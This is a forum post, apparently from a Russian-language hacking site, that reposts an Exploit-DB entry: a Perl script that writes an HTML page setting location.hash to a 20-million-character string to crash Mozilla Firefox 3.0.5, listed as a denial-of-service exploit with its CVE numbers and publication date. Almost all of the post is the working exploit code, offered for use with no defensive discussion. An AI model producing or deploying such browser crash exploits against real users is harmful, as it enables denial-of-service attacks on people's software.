Exploit Mozilla Firefox 3.0.5 - location.hash Remote Crash

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
7554
Проверка EDB
  1. Пройдено
Автор
JEREMY BROWN
Тип уязвимости
DOS
Платформа
WINDOWS
CVE
cve-2009-2953 cve-2008-5715
Дата публикации
2008-12-23
Код:
#!/usr/bin/perl
# mzff_lhash_dos.pl
# Mozilla Firefox 3.0.5 location.hash Denial of Service Exploit
# Jeremy Brown [[email protected]/jbrownsec.blogspot.com]
# Crash on Vista, play with it on XP

$filename = $ARGV[0];
if(!defined($filename))
{

     print "Usage: $0 <filename.html>\n\n";

}

$head = "<html>" . "\n" . "<script type=\"text/javascript\">" . "\n";
$trig = "location.hash = \"" . "A" x 20000000 . "\";" . "\n";
$foot = "</script>" . "\n" . "</html>";

$data = $head . $trig . $foot;

     open(FILE, '>' . $filename);
     print FILE $data;
     close(FILE);

exit;

# milw0rm.com [2008-12-23]
 
Источник
www.exploit-db.com

Похожие темы